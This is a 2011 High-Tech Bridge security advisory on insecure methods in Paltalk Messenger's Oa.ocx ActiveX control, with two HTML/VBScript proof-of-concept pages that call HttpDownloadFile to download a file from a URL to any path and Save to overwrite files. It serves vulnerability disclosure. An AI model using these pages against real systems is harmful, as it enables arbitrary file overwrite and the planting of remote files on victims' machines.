Paltalk Messenger ActiveX Control Multiple Insecure Methods

2011-06-22T00:00:00
ID HTB23026
Type htbridge
Reporter High-Tech Bridge
Modified 2011-06-22T00:00:00

Description

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Paltalk Messenger, which can be exploited to overwrite arbitrary files.

1) Insecure methods in Paltalk Messenger ActiveX Control
1.1 The vulnerability is caused due to the Office Viewer ActiveX control (Oa.ocx) including the insecure "HttpDownloadFile()" method. This can be exploited to overwrite arbitrary files on the target system with privileges of the current user.
The following PoC code is available:
<html>
<object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B9B5' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>
Sub Boom()
arg1="http://URL/Filename"
arg2="FilePath\Filename_to_create"
targ et.HttpDownloadFile arg1 ,arg2
End Sub
</script>
</html>
1.2 The vulnerability is caused due to the Office Viewer ActiveX control (Oa.ocx) including the insecure "Save()" method. This can be exploited to overwrite with junk data arbitrary files in the context of the current user.
<html>
<object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B9B5' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>
Sub Boom()
arg1="FilePath\Filename_to_create"
target.Save arg1
End Sub
</script>
</html>